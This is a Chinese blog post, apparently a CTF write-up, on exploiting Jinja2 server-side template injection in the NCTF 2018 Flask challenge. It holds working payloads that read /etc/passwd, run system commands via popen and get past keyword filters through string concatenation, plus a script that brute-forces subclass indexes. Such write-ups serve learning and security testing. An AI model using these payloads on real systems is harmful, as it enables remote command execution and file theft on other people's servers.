当前位置: 首页 > news >正文

[NCTF 2018]flask真香

          打开题目后没有提示框,尝试扫描后也没有什么结果,猜想是ssti。所以尝试寻找ssti的注入点并判断模版。

                                                                                                                                                           

模版判断方式:

在url地址中输入{7*7} 后发现不能识别执行。

                                                                                                                                                              尝试{{7*7}} ,执行成功,继续往下走注入{{7*'7'}},如果执行成功回显7777777说明是jinja2模板,如果回显是49就说明是Twig模板

                                                                                                                                                           

页面回显7777777,证明是jinjia2模板注入。接下来就可以利用漏洞尝试读取文件或者执行命令

  • 读取 /etc/passwdhttp://localhost:5000/?name={{''.__class__.__mro__[1].__subclasses__()[40]('/etc/passwd').read()}}
  • 执行命令(假设找到 os.system 子类):http://localhost:5000/?name={{''.__class__.__mro__[1].__subclasses__()[396]('ls').__call__()}}

常用类及语法:

__class__:表示实例对象所属的类。

__base__:类型对象的直接基类。

__bases__:类型对象的全部基类(以元组形式返回),通常实例对象没有此属性。

__mro__:一个由类组成的元组,在方法解析期间用于查找基类。

__subclasses__():返回该类的所有子类的列表。每个类都保留对其直接子类的弱引用。此方法返回仍然存在的所有这些引用的列表,并按定义顺序排序。

__init__:初始化类的构造函数,返回类型为function的方法。

__globals__:通过函数名.__globals__获取函数所在命名空间中可用的模块、方法和所有变量。

__dict__:包含类的静态函数、类函数、普通函数、全局变量以及一些内置属性的字典。

__getattribute__():存在于实例、类和函数中的__getattribute__魔术方法。实际上,当针对实例化的对象进行点操作(例如:a.xxx / a.xxx())时,都会自动调用__getattribute__方法。因此,我们可以通过这个方法直接访问实例、类和函数的属性。

__getitem__():调用字典中的键值,实际上是调用此魔术方法。例如,a['b'] 就是 a.__getitem__('b')。

__builtins__:内建名称空间,包含一些常用的内建函数。__builtins__与__builtin__的区别可以通过搜索引擎进一步了解。

__import__:动态加载类和函数,也可用于导入模块。常用于导入os模块,例如__import__('os').popen('ls').read()。

__str__():返回描述该对象的字符串,通常用于打印输出。

url_for:Flask框架中的一个方法,可用于获取__builtins__,且url_for.__globals__['__builtins__']包含current_app。

get_flashed_messages:Flask框架中的一个方法,可用于获取__builtins__,且get_flashed_messages.__globals__['__builtins__']包含current_app。

lipsum:Flask框架中的一个方法,可用于获取__builtins__,且lipsum.__globals__包含os模块(例如:{{lipsum.__globals__['os'].popen('ls').read()}})。

current_app:应用上下文的全局变量。

request:用于获取绕过字符串的参数,包括以下内容:

- request.args.x1:GET请求中的参数。
- request.values.x1:所有参数。
- request.cookies:cookies参数。
- request.headers:请求头参数。
- request.form.x1:POST请求中的表单参数(Content-Type为application/x-www-form-urlencoded或multipart/form-data)。
- request.data:POST请求中的数据(Content-Type为a/b)。
- request.json:POST请求中的JSON数据(Content-Type为application/json)。

config:当前应用的所有配置。还可以使用{{ config.__class__.__init__.__globals__['os'].popen('ls').read() }}来执行操作系统命令。

g:通过{{ g }}可以获取<flask.g of 'flask_ssti'>。

1)__class__用来查看变量所属的类,格式为变量.__class__

利用方式:

输入''.__class__
回显<class 'str'>

输入().__class__
回显<class 'tuple'>

输入{}.__class__
回显<class 'dict'>

输入[].__class__
回显<class 'list'>

(2)__bases__用来查看类的基类,格式为变量.__class__.__bases__

利用方式:

输入''.__class__.__bases__
回显(<class 'object'>,)

输入().__class__.__bases__
回显(<class 'object'>,)

输入{}.__class__.__bases__
回显(<class 'object'>,)

输入[].__class__.__bases__
回显(<class 'object'>,)

同时可结合数组,如:
输入 变量.__class__.__bases__[0]
可获得第一个基类                                                           

因此可以用{{''.__class__.__mro__[1].__subclasses__()[40]('/etc/passwd').read()}}读取所有子类。

尝试后显示500,说明其中有一些语句是被过滤的。

用fuzz字典爆破过滤内容,发现过滤内容有很多,不是很清楚怎么进一步确定具体的过滤字符,参考别人的wp得知过滤内容如下:

class
subclasses
config
args
request
open
eval
import

有过滤的绕过方式:

1. 基于字符串连接运算符

不同的模板引擎可能支持不同的字符串连接运算符:

  • Jinja2 (Python): 可以使用 + 运算符
  • Twig (PHP): 可以使用 ~ 运算符
  • ERB (Ruby): 可以使用 + 运算符
jinjia2(py):
{{ 'c' + 'at /etc/passwd' }}
Twig (PHP):
{{ 'c' ~ 'at /etc/passwd' }} 
ERB (Ruby):
<%= 'c' + 'at /etc/passwd' %>

2. 使用内置函数和方法

许多模板引擎提供了处理字符串的内置函数或方法,可以用来拼接字符串:

jinjia2(py):
{{ ''.join(['c', 'at', ' ', '/etc/passwd']) }}
Twig (PHP):
{{ ['c', 'at', ' ', '/etc/passwd']|join }}
ERB (Ruby):
<%= ['c', 'at', ' ', '/etc/passwd'].join %>

3. 十六进制或 Unicode 编码

如果某些字符被直接过滤,可以尝试使用十六进制或 Unicode 编码绕过:

jinjia2(py):
{{ '\x63\x61\x74\x20\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64' }}
Twig (PHP):
{{ '\x63\x61\x74\x20\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64' }}
ERB (Ruby):
<%= "\x63\x61\x74\x20\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64" %>

这题是有过滤构造payload,首先尝试字符串拼接的方式,因为这题的模版是jinjia2,所以连接符是“+”,构造payload:

{{()['__cla'+'ss__'].__base__['__subcl'+'asses__']()}}

  • ()['__cla'+'ss__']:

    • 通过字符串拼接 __class__ 得到 __class__,访问元组的 __class__ 属性,返回元组的类对象 <class 'tuple'>
  • .__base__:

    • 访问 <class 'tuple'>__base__ 属性,即基类,返回 <class 'object'>
  • ['__subcl'+'asses__']():

    • 通过字符串拼接 __subclasses__ 得到 __subclasses__,调用 __subclasses__() 方法,返回一个包含所有子类的列表。

构造payload的基本步骤:

  1. 获取所有子类(jinjia2)

{{ [].__class__.__base__.__subclasses__() }}
  1. 查找文件操作类

通过索引访问子类,找到文件操作类:

{{ [].__class__.__base__.__subclasses__()[index] }} 
  1. 读取文件内容

一旦确定文件操作类的位置,可以读取文件内容:

{{ [].__class__.__base__.__subclasses__()[index]['__init__'].__globals__['__builtins__']['open']('/etc/passwd').read() }}

接下来通常使用查找eval函数或者是os模块来执行我们需要的命令

eval函数与os模块的作用:

eval 函数:

可以直接执行传入的字符串作为代码。因此,找到 eval 函数意味着可以执行任意代码,这通常是最直接和强大的攻击方式。

os模块:

os 模块提供了执行系统命令、文件操作等功能,利用 os 模块可以执行系统命令、读取或写入文件。

可以用这个脚本找到eval函数的位置,但这题找不到eval。

import requestsurl = input("请输入 URL:")found = Falsefor i in range(500):try:# 构造 payloadpayload = "{{().__class__.__base__.__subclasses__()[" + str(i) + "].__init__.__globals__['__builtins__']}}"data = {"name": payload}# 发送 POST 请求response = requests.post(url, data=data)# 检查响应状态码if response.status_code == 200:print(f"Response for index {i}: {response.text}")# 检查响应内容是否包含 "eval"if "eval" in response.text:print(f"Found eval at index: {i}")found = Truebreak  # 找到后退出循环except Exception as e:print(f"Error at index {i}: {e}")if not found:print("Did not find eval in the first 500 subclasses.")

尝试找os模块

找到了它的位置,可以构造payload验证一下。

{{()['__cla'+'ss__'].__base__['__subcl'+'asses__']()[304]}}

验证说明正确,找到os模块后可以执行任意系统命令,

{{''['__cla'+'ss__'].__base__['__subcl'+'asses__']()[304].__init__.__globals__['pop'+'en']('cat /Th1s_is__F1114g').read()}}}

思路总结:

1、查看是否存在注入点,一般存在于:
  • 表单输入:检查应用程序中的所有表单,特别是那些将用户输入显示在页面上的表单字段。
  • URL 参数:观察 URL 中的参数,特别是那些用于动态生成内容的参数。
  • HTTP 头:某些应用程序会将 HTTP 头的信息(如 User-Agent、Referer)渲染到页面中。
  • Cookie:有时应用程序会将 Cookie 中的值渲染到页面中。
2、确定模板类型

例如:Jinja2 (Python)、 Freemarker (Java)、Twig (PHP)、ERB (Ruby)

3、初步构造payload,获取全局变量

(这个步骤注意查看页面,看是否存在过滤)

4、查找关键类、模块

eval、os模块等

5、根据查到的信息构造payload

相关文章:

[NCTF 2018]flask真香

打开题目后没有提示框&#xff0c;尝试扫描后也没有什么结果&#xff0c;猜想是ssti。所以尝试寻找ssti的注入点并判断模版。 模版判断方式&#xff1a; 在url地址中输入{7*7} 后发现不能识别执行。 尝试{{7*7}} ,执行成功&#xff0c;继续往下走注入{{7*7}}&#xff0c;如果执…...

性能测试3【搬代码】

1.Linux服务器性能分析命令及详解 2.GarafanainfluxDB监控jmeter数据 3.GarafanaPrometheus监控服务器和数据库性能 4.性能瓶颈分析以及性能调优方案详解 一、无界面压测时&#xff0c; top load average:平均负载 htop 二、Garafana监控平台 传统项目&#xff1a;centosphpm…...

<tesseract><opencv><Python>基于python和opencv,使用ocr识别图片中的文本并进行替换

前言 本文是在python中,利用opencv处理图片,利用tesseractOCR来识别图片中的文本并进行替换的一种实现方法。 环境配置 系统:windows 平台:visual studio code 语言:python 库:pyqt5、opencv、tesseractOCR 代码介绍 本文程序功能实现,主要依赖于tesseractOCR这个库,…...

海南云亿商务咨询有限公司解锁抖音电商新纪元

在当今数字化浪潮中&#xff0c;抖音电商以其独特的魅力和强大的用户基础&#xff0c;迅速成为企业营销的新宠。海南云亿商务咨询有限公司&#xff0c;作为专注于抖音电商服务的领先企业&#xff0c;凭借专业的团队和丰富的经验&#xff0c;为众多企业提供了高效、精准的电商服…...

arm64架构 统信UOS搭建PXE无盘启动Linux系统(麒麟桌面为例)

arm64架构 统信UOS搭建PXE无盘启动Linux系统&#xff08;麒麟桌面为例&#xff09; 搞了好久搞得头疼哎 1、准备服务器UOS服务器 准备服务IP 这里是192.168.1.100 1.1、安装程序 yum install -y dhcp tftp tftp-server xinetd nfs-utils rpcbind 2、修改配置 2.1、修改dhcpd.c…...

SpringBoot 实现 阿里云语音通知(SingleCallByTts)

目录 一、准备工作1.开通 阿里云语音服务2.申请企业资质3.创建语音通知模板&#xff0c;审核通过4.调用API接口---SingleCallByTts5.调试API接口---SingleCallByTts 二、代码实现1.导入依赖 com.aliyun:aliyun-java-sdk-dyvmsapi:3.0.22.创建工具类&#xff0c;用于发送语音通知…...

IDEA 连接GitHub仓库并上传项目(同时解决SSH问题)

目录 1 确认自己电脑上已经安装好Git 2 添加GitHub账号 2.1 Setting -> 搜索GitHub-> ‘’ -> Log In with Token 2.2 点击Generate 去GitHub生成Token 2.3 勾选SSH后其他不变直接生成token 2.4 然后复制token添加登录账号即可 3 点击导航栏中VCS -> Create…...

vue/react/js 常用的原生获取当前页面的url网址的相关方法

目录 第一章 场景 第二章 总结 第一章 场景 最近实现需求时遇到这么一种情况&#xff1a; 本地url —— 线上url —— 需求&#xff1a;需要将token清除掉 注意事项&#xff1a;token不是#/后面的参数&#xff0c;说明并不是我们前端返回的&#xff0c;vue路由的方法使用不…...

java-final 关键字

## Java中的final关键字 ### 1. final关键字的基本概念 final是Java中一个非常重要的关键字&#xff0c;用于声明常量、阻止继承和重写&#xff0c;确保类、方法和变量的不可变性。具体来说&#xff0c;final关键字可以用来修饰类、方法和变量&#xff08;包括成员变量和局部…...

ARM32开发--IIC软实现

知不足而奋进 望远山而前行 目录 文章目录 前言 开发流程 GD32F4软件I2C初始化 GD32F4软件I2C引脚功能 写操作 读操作 总结 前言 在嵌入式系统开发中&#xff0c;软件实现的I2C通信协议扮演着至关重要的角色。本文将深入探讨如何在GD32F4系列微控制器上实现软件I2C功能…...

在有向无环图(DAG)中实现拓扑排序与最短路径和最长路径算法

有向无环图&#xff08;DAG&#xff09;是一类非常重要的图结构&#xff0c;广泛应用于任务调度、数据依赖分析等领域。本文将介绍如何在DAG中实现拓扑排序、单源最短路径和单源最长路径算法&#xff0c;并提供完整的Java代码示例。 图结构定义 首先&#xff0c;我们定义一个…...

SQLServer按照年龄段进行分组查询数据

1.按照年龄段对数据进行分组&#xff0c; 将人群分为&#xff1a;青年&#xff0c;中年&#xff0c;老年三种类型&#xff0c;人群类型加上其他分组字段如&#xff1a;性别&#xff0c;进行多条件分组,统计各个年龄段多少人 Select case sex when 1 then ‘男’ when 2 then …...

开放式耳机哪个品牌质量比较好?2024高性价比机型推荐!

随着音乐技术的不断发展&#xff0c;开放式耳机已成为音乐发烧友们的另外一种选择。从最初的简单音质&#xff0c;到如今的高清解析&#xff0c;开放式耳机不断进化升级。音质纯净&#xff0c;佩戴舒适&#xff0c;无论是街头漫步还是家中放松时候&#xff0c;都能带给你身临其…...

Blender骨骼创建

骨骼系统 建立 使用Shift A添加骨骼或在添加|骨架中添加一段骨骼 骨骼的三种模式 -物体模式&#xff1a;做动画&#xff0c;摆人物pose时在该模式 -编辑模式&#xff1a;进行骨骼搭建&#xff08;选择一段骨骼&#xff0c;然后按E挤出一段骨骼并进行调整&#xff09; -姿…...

DevExpress WPF中文教程:Grid - 如何完成列和编辑器配置(设计时)?

DevExpress WPF拥有120个控件和库&#xff0c;将帮助您交付满足甚至超出企业需求的高性能业务应用程序。通过DevExpress WPF能创建有着强大互动功能的XAML基础应用程序&#xff0c;这些应用程序专注于当代客户的需求和构建未来新一代支持触摸的解决方案。 无论是Office办公软件…...

高考完的三个月想自学点编程,有没有什么建议

&#x1f446;点击关注 获取更多编程干货&#x1f446; 对于刚刚完成高考的学生来说&#xff0c;无论未来是否选择计算机科学作为专业方向&#xff0c;自学编程技能是一项非常有价值的投资&#xff0c;掌握编程知识能够帮助同学们为将来的学习和科研 实践奠定一个基础。 随着…...

运维开发(DevOps):加速软件交付的关键方法

1. 什么是运维开发 运维开发&#xff08;DevOps&#xff09;是将软件开发&#xff08;Development&#xff09;与信息技术运维&#xff08;Operations&#xff09;的流程整合在一起的实践方法。DevOps的目标是通过增强开发和运维团队之间的协作&#xff0c;提高软件产品的发布…...

Vue前端环境搭建:从四个方面、五个方面、六个方面和七个方面深度解析

Vue前端环境搭建&#xff1a;从四个方面、五个方面、六个方面和七个方面深度解析 在构建Vue.js项目时&#xff0c;搭建一个稳定且高效的前端环境至关重要。这不仅关乎项目的顺利推进&#xff0c;更直接影响开发者的效率和代码质量。本文将从四个方面、五个方面、六个方面和七个…...

农业领域科技查新点提炼方法附案例!

农业学科是人类通过改造和利用生物有机体(植物、动物、微生物等)及各种自然资源(光、热、水、土壤等)生产出人类需求的农产品的过程&#xff0c;人类在这一过程中所积累的科学原理、技术、工艺和技能&#xff0c;统称为农业科学技术&#xff0c;该领域具有研究范围广、综合性强…...

【Bazel入门与精通】 rules之属性

https://bazel.build/extending/rules?hlzh-cn#attributes Attributes An attribute is a rule argument. Attributes can provide specific values to a target’s implementation, or they can refer to other targets, creating a graph of dependencies. Rule-specifi…...

Elementor无需第三方插件实现高级下拉菜单/巨型菜单

使用新的嵌套功能创建美观的菜单和大型菜单。巨型菜单是具有复杂导航结构和独特设计的网站的理想选择。 Elementor-设置-特性-Menu启用 之后再去前端编辑器设计即可&#xff0c;就会有一个新的menu菜单模块了。 这个菜单的下拉则是通过Elementor直接来设计&#xff0c;也就以为…...

【数学】什么是傅里叶变换?什么是离散傅里叶变换?什么是拉普拉斯变换?

文章目录 什么是傅里叶变换&#xff1f;什么是离散傅里叶变换&#xff1f;什么是拉普拉斯变换&#xff1f;背景公式示例题目详细讲解Python代码求解实际生活中的例子 什么是线性时不变系统线性性&#xff08;Linearity&#xff09;时不变性&#xff08;Time-Invariance&#xf…...

opencv安装笔记 各种平台

目录 python安装opencv-python c 麒麟arm系统安装和用法 python安装opencv-python pypi上搜索 Search results PyPI 现在安装是一个版本&#xff0c;大于3.6都可以安装 c 麒麟arm系统安装和用法 参考&#xff1a; ffmpeg rknn麒麟系统 安装 opencv_ffmpeg4 解码示例-CSDN…...

前端开发中的热更新原理

一、什么是热更新 热更新&#xff08;Hot Module Replacement&#xff0c;HMR&#xff09;是一种在前端开发中极为重要的技术。它允许开发者在不重新加载整个页面的情况下&#xff0c;实时更新应用程序中的某些模块。简单来说&#xff0c;热更新能让你在开发过程中即时看到代码…...

unix环境高级编程第2版:深入探索UNIX编程的奥秘

unix环境高级编程第2版&#xff1a;深入探索UNIX编程的奥秘 在数字世界的浩瀚海洋中&#xff0c;UNIX环境以其稳定、高效和灵活的特性&#xff0c;一直备受程序员们的青睐。而《unix环境高级编程第2版》这本书&#xff0c;无疑是探索UNIX编程奥秘的绝佳指南。接下来&#xff0…...

力扣42 接雨水

听说字节每人都会接雨水&#xff0c;我也要会哈哈哈 数据结构&#xff1a;数组 算法&#xff1a;核心是计算这一列接到多少雨水&#xff0c;它取决于它左边的最大值和右边的最大值&#xff0c;如下图第三根柱子能接到的雨水应该是第一根柱子高度和第五根柱子高度的最小值减去第…...

【代码随想录】【算法训练营】【第35天】[134]加油站 [135]分发糖果 [860]柠檬水找零 [406]根据身高重建队列

前言 思路及算法思维&#xff0c;指路 代码随想录。 题目来自 LeetCode。 day 35&#xff0c;连休两天~ 题目详情 [134] 加油站 题目描述 134 加油站 解题思路 前提&#xff1a;数组 思路&#xff1a;全局贪心算法&#xff1a;最小累加剩余汽油为负数&#xff0c;说明…...

Talk|新加坡国立大学贾鑫宇:适用于高自由度机器人的运动控制器

本期为TechBeat人工智能社区第600期线上Talk。 北京时间6月13日(周四)20:00&#xff0c;新加坡国立大学博士生—贾鑫宇的Talk已经准时在TechBeat人工智能社区开播&#xff01; 他与大家分享的主题是: “适用于高自由度机器人的运动控制器”&#xff0c;向大家系统地介绍了如何通…...

【npm】console工具(含胶囊,表格,gif图片)

这是一款控制台花样输出工具 相对丰富的输出方式 文本输出属性值输出胶囊样式输出表格输出图片输出&#xff08;含动图&#xff09; 安装 npm install v_aot引用 import v_aot from "v_aot";字段说明 字段类型属性字符串值字符串类型default 、 primary 、 suc…...

OpenCV读取图片

import cv2 as cv # 读取图像 image cv.imread(F:\\mytupian\\xihuduanqiao.jpg) # 创建窗口 cv.namedWindow(image, cv.WINDOW_NORMAL) #显示图像后&#xff0c;允许用户随意调整窗口大小 # 显示图像 cv.imshow(image, image) cv.waitKey(0)import cv2 as cv srccv.imread(…...